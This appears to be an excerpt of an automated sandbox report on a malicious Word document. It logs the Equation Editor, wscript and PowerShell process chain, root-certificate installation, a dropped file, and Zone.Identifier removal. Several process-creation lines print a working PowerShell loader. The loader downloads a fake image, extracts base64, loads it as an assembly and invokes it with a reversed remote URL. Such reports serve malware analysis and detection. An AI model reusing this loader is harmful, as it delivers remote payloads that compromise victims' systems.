Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_00129247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

19_2_00129247

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 1_2_005401F4 push eax; retf	1_2_005401F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 1_2_0054C264 pushad ; retn 0054h	1_2_0054C289
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 1_2_00548EE2 push eax; retf	1_2_00548F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 1_2_0055EBB4 push eax; ret	1_2_0055ECAB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 1_2_0054C3A2 push A00054C4h; ret	1_2_0054C3F5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00555924 push 34010160h; iretd	7_2_0055592D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00552D95 pushad ; ret	7_2_00552D99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00552DA5 pushfd ; ret	7_2_00552DA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040134A pushfd ; retf	10_2_00401353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004012F2 pushfd ; retf	10_2_004012F3
Source: C:\Windows\explorer.exe	Code function: 20_2_00061405 push esi; ret	20_2_00061407
Source: C:\Windows\explorer.exe	Code function: 20_2_000647A7 push esp; iretd	20_2_000647A8
Source: C:\Windows\explorer.exe	Code function: 20_2_000614D4 push esi; ret	20_2_000614D6
Source: C:\Windows\explorer.exe	Code function: 20_2_0006A055 push es; iretd	20_2_0006A05D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_0008967E push ds; retf	21_2_00089680
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_000894E6 push edx; ret	21_2_000894E7
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_000838A7 push esp; iretd	21_2_000838A8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000887CE push es; ret	22_2_00088A18
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_00088EEF push edi; ret	22_2_00088EF0
Source: C:\Windows\explorer.exe	Code function: 23_2_00061405 push esi; ret	23_2_00061407
Source: C:\Windows\explorer.exe	Code function: 23_2_000614D4 push esi; ret	23_2_000614D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C3417 push esp; iretd	24_2_000C3418
Source: C:\Windows\explorer.exe	Code function: 25_2_00061405 push esi; ret	25_2_00061407
Source: C:\Windows\explorer.exe	Code function: 25_2_000645A7 push esp; iretd	25_2_000645A8
Source: C:\Windows\explorer.exe	Code function: 25_2_000614D4 push esi; ret	25_2_000614D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_00083627 push esp; iretd	26_2_00083628
Source: C:\Windows\explorer.exe	Code function: 27_2_00061405 push esi; ret	27_2_00061407
Source: C:\Windows\explorer.exe	Code function: 27_2_000614D4 push esi; ret	27_2_000614D6
Source: C:\Windows\explorer.exe	Code function: 27_2_0006AC8D push esp; iretd	27_2_0006AC95
Source: C:\Windows\explorer.exe	Code function: 27_2_0006AAD2 push ebp; iretd	27_2_0006AAD3

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gwseuha

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gwseuha

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\gwseuha:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 22_2_00083862 GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep,

22_2_00083862

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
